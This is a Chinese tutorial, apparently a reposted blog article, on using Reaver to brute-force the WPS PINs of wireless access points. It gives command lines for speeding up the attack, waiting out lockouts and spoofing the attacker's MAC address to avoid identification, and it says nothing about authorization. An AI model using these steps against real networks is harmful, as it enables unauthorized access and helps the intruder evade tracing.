reaver-wps

reaver-wps概述Reaver是暴力破解接入点PIN码的一种工具。这里简单说明,PIN码是8位数字,且第8位是由校验和,由前7位可以推出。而前7位又分为4和3两部分,所以暴力尝试最多10000+1000=11000次即可完成,破解所需的时间通常在2-5小时。支持的网卡驱动完全支持ath9krtl8187carl19170ipw2000rt2800pcirt73usb部分支持ath5kiwlagn

大家好,又见面了,我是你们的朋友全栈君。

概述

Reaver是暴力破解接入点PIN码的一种工具。这里简单说明,PIN码是8位数字,且第8位是由校验和,由前7位可以推出。而前7位又分为4和3两部分,所以暴力尝试最多10000+1000=11000次即可完成,破解所需的时间通常在2-5小时。

支持的网卡驱动

完全支持

  • ath9k
  • rtl8187
  • carl19170
  • ipw2000
  • rt2800pci
  • rt73usb

部分支持

  • ath5k
  • iwlagn
  • rtl2800usb
  • b43

不支持

  • iwl4965
  • RT3070L
  • Netgear WG111v3

安装

Reaver只支持linux平台,需要libpcap和libsqlite库,可以下命令编译安装:

$ ./configure
$ make
# make install

卸载删除可使用命令;

# make distclean

命令参数

  • 一般情况下,reaver需要的参数只有接口名和目标接入点的BSSID(MAC地址):
# reaver -i mon0 -b 00:01:02:03:04:05
  • 如果没有明确指定,reaver会自动识别目标接入点的信道和网络名(前提是接入点没有隐藏SSID)。可用如下命令指定信道和网络名:
# reaver -i mon0 -b 00:01:02:03:04:05 -c 11 -e linksys
  • 默认情况下,如果接入点改变了信道,reaver也会相应地改变信道。然而当使用–fixed参数时,此功能会被禁用掉:
# reaver -i mon0 -b 00:01:02:03:04:05 --fixed
  • 默认情况下的超时时间是5秒,使用以下命令则可以手动设置(最小为1秒):
# reaver -i mon0 -b 00:01:02:03:04:05 -t 2
  • 默认的pin码尝试延迟间隔是1秒,这个时间可以用以下命令设定为任何非负数,0表示没有延迟:
# reaver -i mon0 -b 00:01:02:03:04:05 -d 0
  • 当发现一些可疑活动时,有些接入点会暂时锁定它们的WPS状态,通常小于5分钟。默认情况下,此时reaver会每隔315秒(5分15秒)检查一次状态,直到锁定状态解除再开始暴力破解。检查的时间间隔可以通过以下命令来调整任意一个非负值:
# reaver -i mon0 -b 00:01:02:03:04:05 --lock-delay=250
  • 使用-vv参数可以显示更多信息,将每个正在尝试的pin码显示出来:
# reaver -i mon0 -b 00:01:02:03:04:05 -vv
  • 默认情况下,接收M5和M7 WPS反应的时间间隔是0.1秒,可通过下列命令调节(最大是1秒):
# reaver -i mon0 -b 00:01:02:03:04:05 -T .5
  • 必要的时候,需要通过发送一个EAP FAIL的信息来关闭一个WPS会话,默认情况下此功能是不开启的,可通过以下命令开启:
# reaver -i mon0 -b 00:01:02:03:04:05 --eap-terminate
  • 对每10个连续的unexpected WPS提示信息,会有一个warning。这可能是因为接入点限制了pin或者过载了,此时往往需要通过短时间的sleep来解决:
# reaver -i mon0 -b 00:01:02:03:04:05 --fail-wait=360

实战用法

基本用法

首先,开启monitor模式:

# airmon-ng start wlan0

使用reaver需要指定接入点MAC地址以及monitor接口名:

# reaver -i mon0 -b 00:01:02:03:04:05

或者使用-vv参数获得详细的进度信息:

# reaver -i mon0 -b 00:01:02:03:04:05 -vv

加速攻击

默认情况下,reaver的pin码尝试间隔为1秒,我们可以通过使用’-d 0‘参数来除去时间间隔。但是可能会使接入点出现问题:

# reaver -i mon0 -b 00:01:02:03:04:05 -vv -d 0

另一种加速攻击的方法是使用–dh-small。这个参数选项会使reaver尝试小的diffie-hellman密码,从而减轻接入点的计算负荷。

# reaver -i mon0 -b 00:01:02:03:04:05 -vv --dh-small

MAC地址欺骗

有时我们可能需要隐藏自己的MAC地址,reaver用-mac参数来支持此功能。注意:改变虚拟的monitor接口的MAC地址没有什么用,必须要改变物理接口的MAC地址,如:

# ifconfig wlan0 down
# ifconfig wlan0 hw ether 00:BA:AD:BE:EF:69
# ifconfig wlan0 up
# airmon-ng start wlan0
# reaver -i mon0 -b 00:01:02:03:04:05 -vv --mac=00:BA:AD:BE:EF:69
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/135901.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • Python中的XOR异或符号^运用

    Python中的XOR异或符号^运用^运算符为异或运算a=10b=100c=a^b#c=110为什么会得到这样的结果呢?bin(10)#’0b1010’bin(100)#’0b1100100’其实这里面经历了几次计算:1.计算a,b的二进制值:bin(10)#’0b1010’bin(100)#’0b1100100’2.^符号的作用是将两数字相…

    2022年7月16日
    14
  • Web前端和Web后端的区分「建议收藏」

    一、绪论1、前台:呈现给用户的视觉和基本的操作。后台:用户浏览网页时,我们看不见的后台数据跑动。后台包括前端、后端。前端:对应我们写的html、css、javascript等网页语言作用在前端网页。后端:对应jsp、javaBean、dao层、action层和service层的业务逻辑代码。(包括数据库)为什么jsp是后端呢?主要是jsp的运行原理是在tomcat服务器运…

    2022年4月18日
    45
  • 我们可以使用命令kill来结束Linux系统下运行的进程(kill强制杀死进程)

    杀死进程最安全的方法是单纯使用kill命令,不加修饰符,不带标志。首先使用ps-ef命令确定要杀死进程的PID,然后输入以下命令:#kill–pid注释:标准的kill命令通常都能达到目的。终止有问题的进程,并把进程的资源释放给系统。然而,如果进程启动了子进程,只杀死父进程,子进程仍在运行,因此仍消耗资源。为了防止这些所谓的“僵尸进程”,应确保在杀死父进程之前,先杀死其所有的子进程。确定要杀死进程的PID或PPID#ps-ef|grephttpd以优雅的方式结束进

    2022年4月16日
    79
  • java官方编译器_JAVA 编译器

    java官方编译器_JAVA 编译器javac做了些什么?说白了,javac就是一个编译器;编译器就是把一种语言规矩转换成另一种语言规矩,也就是将对人友好的语言转换成对机器友好的语言。因此,javac是把Java源代码编译成Java字节码,即JVM可以识别的二进制;表面上就是将.java文件转成.class文件。javac做了些什么?主要由4个模块组成。词法剖析器:识别Java中的if、else、for、while等关键字及其语句的…

    2022年7月13日
    17
  • python获取文件名不含后缀名_python文件扩展名主要有

    python获取文件名不含后缀名_python文件扩展名主要有获取文件的后缀名有好几种方法:第一种:splittext()方法os.path.splittext(path)[-1]第二种:endswith()方法path=”test_user_info.py”bool=path.endswith(“.py”)print(bool)第三种:判断后缀名是否在字符串中(这种会存在误判,若是.pyx后缀,一样会打印True,前面两种不会)path=”test_user_info.py”if”.py”inpath:

    2022年9月22日
    0
  • python中plot实现即时数据动态显示方法[通俗易懂]

    python中plot实现即时数据动态显示方法[通俗易懂]在Matlab使用Plot函数实现数据动态显示方法总结中介绍了两种实现即时数据动态显示的方法。考虑到使用python的人群日益增多,再加上本人最近想使用python动态显示即时的数据,网上方法很少,固总结于此。示例代码importmatplotlib.pyplotaspltimportnumpyasnpimporttimefrommathimport*plt.ion()

    2022年6月26日
    34

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号